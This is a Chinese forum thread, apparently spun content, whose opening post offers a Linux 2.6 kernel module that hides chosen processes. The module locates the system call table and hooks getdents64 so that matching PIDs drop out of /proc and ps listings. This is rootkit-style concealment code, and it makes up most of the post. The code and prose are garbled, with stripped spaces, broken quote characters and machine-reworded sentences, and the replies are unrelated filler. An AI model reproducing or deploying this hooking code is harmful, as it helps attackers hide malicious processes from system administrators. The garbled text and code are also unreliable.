仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 685|回复: 9
打印 上一主题 下一主题

[其他Linux] linux教程之Linux 2.6内核中历程埋没完成举措

[复制链接]
分手快乐 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 12:19:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
系统做了些什么,这需要时间去掌握,(背命令不是一件好的学习方法,相信我你一定会在你背完之前全部忘光),尽量掌握常用命令;
很早之前的小程序,对照复杂可是以为风趣
  道理很复杂,Linux检察历程的命令ps是经由过程体系挪用sys_getdents完成,sys_getdents用户猎取一个指定路径下的目次条目,实践上就是列举
  /proc/ 下的pid,如许我们只必要hook一下sys_getdents,把响应的要埋没的pid信息往失落便可。
  以下是LKM代码,在Linux-2.6.14测试并运转乐成
  #include<linux/module.h>
  #include<linux/kernel.h>
  #include<asm/unistd.h>
  #include<linux/types.h>
  #include<linux/dirent.h>
  #include<linux/string.h>
  #include<linux/file.h>
  #include<linux/fs.h>
  #defineCALLOFF100
  //利用模块参数来界说必要埋没的历程名
  char*processname;
  module_param(processname,charp,0);
  struct{
  unsignedshortlimit;
  unsignedintbase;
  }__attribute__((packed))idtr;
  struct{
  unsignedshortoff1;
  unsignedshortsel;
  unsignedcharnone,
  flags;
  unsignedshortoff2;
  }__attribute__((packed))*idt;
  void**sys_call_table;
  asmlinkagelong(*orig_getdents)(unsignedintfd,structlinux_dirent64__user*dirp,unsignedintcount);
  char*findoffset(char*start)
  {
  char*p;
  for(p=start;p<start+CALLOFF;p++)
  if(*(p+0)==xff&&*(p+1)==x14&&*(p+2)==x85)
  returnp;
  returnNULL;
  }
  intmyatoi(char*str)
  {
  intres=0;
  intmul=1;
  char*ptr;
  for(ptr=str+strlen(str)-1;ptr>=str;ptr--){
  if(*ptr<0||*ptr>9)
  return(-1);
  res+=(*ptr-0)*mul;
  mul*=10;
  }
  return(res);
  }
  structtask_struct*get_task(pid_tpid)
  {
  structtask_struct*p=get_current(),*entry=NULL;
  list_for_each_entry(entry,&(p->tasks),tasks)
  {
  if(entry->pid==pid)
  {
  printk("pidfound
");
  returnentry;
  }
  }
  returnNULL;
  }
  staticinlinechar*get_name(structtask_struct*p,char*buf)
  {
  inti;
  char*name;
  name=p->comm;
  i=sizeof(p->comm);
  do{
  unsignedcharc=*name;
  name++;
  i--;
  *buf=c;
  if(!c)
  break;
  if(c==){
  buf[1]=c;
  buf+=2;
  continue;
  }
  if(c==
){
  buf[0]=;
  buf[1]=n;
  buf+=2;
  continue;
  }
  buf++;
  }
  while(i);
  *buf=
;
  returnbuf+1;
  }
  intget_process(pid_tpid)
  {
  structtask_struct*task=get_task(pid);
  char*buffer[64]={0};
  if(task)
  {

12下一页


网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rloginrcp、finger、mail、nslookup
分手快乐 该用户已被删除
沙发
 楼主| 发表于 2015-1-16 12:36:28 | 只看该作者

linux教程之Linux 2.6内核中历程埋没完成举措

只要了解了Linux的基础之后,应该就可以很轻易的解决掉这方面的问题。而有些朋友们常常一接触Linux就是希望构架网站,根本没有想到要先了解一下Linux的基础。这是相当困难的。
  get_name(task,buffer);</P>  if(strstr(buffer,processname))
  return1;
  else
  return0;
  }
  else
  return0;
  }
  asmlinkagelonghacked_getdents(unsignedintfd,structlinux_dirent64__user*dirp,unsignedintcount)
  {
  //addedbylscforprocess
  longvalue;
  structinode*dinode;
  intlen=0;
  inttlen=0;
  structlinux_dirent64*mydir=NULL;
  //end
  //在这里挪用一下sys_getdents,失掉前往的了局
  value=(*orig_getdents)(fd,dirp,count);
  tlen=value;
  //遍历失掉的目次列表
  while(tlen>0)
  {
  len=dirp->d_reclen;
  tlen=tlen-len;
  printk("%s\n",dirp->d_name);
  //在proc文件体系中,目次名就是pid,我们再依据pid找到历程名
  if(get_process(myatoi(dirp->d_name)))
  {
  printk("findprocess\n");
  //发明婚配的历程,挪用memmove将这条历程掩盖失落
  memmove(dirp,(char*)dirp+dirp->d_reclen,tlen);
  value=value-len;
  }
  if(tlen)
  dirp=(structlinux_dirent64*)((char*)dirp+dirp->d_reclen);
  }
  returnvalue;
  }
  void**get_sct_addr(void)
  {
  unsignedsys_call_off;
  unsignedsct=0;
  char*p;
  asm("sidt%0":"=m"(idtr));
  idt=(void*)(idtr.base+8*0x80);
  sys_call_off=(idt->off2<<16)|idt->off1;
  if((p=findoffset((char*)sys_call_off)))
  sct=*(unsigned*)(p+3);
  return((void**)sct);
  }
  staticvoidfilter_exit(void)
  {
  if(sys_call_table)
  sys_call_table[__NR_getdents64]=orig_getdents;
  }
  staticintfilter_init(void)
  {
  //失掉sys_call_table的偏移地点
  sys_call_table=get_sct_addr();
  if(!sys_call_table){
  printk("get_act_addr():NULL...\n");
  return0;
  }else
  printk("sct:0x%x\n",(unsignedint)sys_call_table);
  //将sys_call_table中注册的体系挪用sys_getdents交换成我们本人的函数hack_getdents
  orig_getdents=sys_call_table[__NR_getdents64];
  sys_call_table[__NR_getdents64]=hacked_getdents;
  return0;
  }
  module_init(filter_init);
  module_exit(filter_exit);
  MODULE_LICENSE("GPL");
</p>
上一页12


无论图形界面发展到什么水平这个原理是不会变的,Linux命令有许多强大的功能:从简单的磁盘操作、文件存取、到进行复杂的多媒体图象和流媒体文件的制作。
因胸联盟 该用户已被删除
板凳
发表于 2015-1-18 15:51:26 | 只看该作者
学习Linux,应该怎样学,主要学些什么,一位Linux热心学习者,一段学习Linux的风云经验,历时十二个小时的思考总结,近十位网络Linux学习者权威肯定,为您学习Linux指明方向。
若天明 该用户已被删除
地板
发表于 2015-1-27 10:15:18 | 只看该作者
清楚了解网络的基础知识,特别是在Linux下应用知识,如接入internet等等。
透明 该用户已被删除
5#
发表于 2015-2-5 12:11:33 | 只看该作者
可以说自己收获很大,基本上完成了老师布置的任务,对于拔高的题目没有去做,因为我了解我的水平,没有时间和精力去做。?
灵魂腐蚀 该用户已被删除
6#
发表于 2015-2-11 21:08:04 | 只看该作者
主流Linux发行版都自带非常详细的文档(包括手册页和FAQ),从系统安装到系统安全,针对不同层次的人的详尽文档,仔细阅读文档后40%问题都可在此解决。
admin 该用户已被删除
7#
发表于 2015-3-2 20:21:53 | 只看该作者
上课传授的不仅仅是知识,更重要的是一些道理,包括一些做人的道理,讲课时也抓住重点,循序渐进,让同学理解很快;更可贵的是不以你过去的成绩看问题.
山那边是海 该用户已被删除
8#
发表于 2015-3-17 23:08:07 | 只看该作者
即便是非英语国家的人发布技术文档,Linux也都首先翻译成英语在国际学术杂志和网络上发表。
乐观 该用户已被删除
9#
发表于 2015-3-17 23:08:09 | 只看该作者
让我树立了很大的信心学好这门课程,也学到了不少专业知识和技能。?
只想知道 该用户已被删除
10#
发表于 2015-3-25 06:26:29 | 只看该作者
Windows有MS-DOS?方式,在该方式下通过输入DOS命令来操作电脑;Linux与Windows类似,也有命令方式,Linux?启动后如果不执行?X-WINDOWS,就会处于命令方式下,必须发命令才能操作电脑。?
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-30 11:55

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表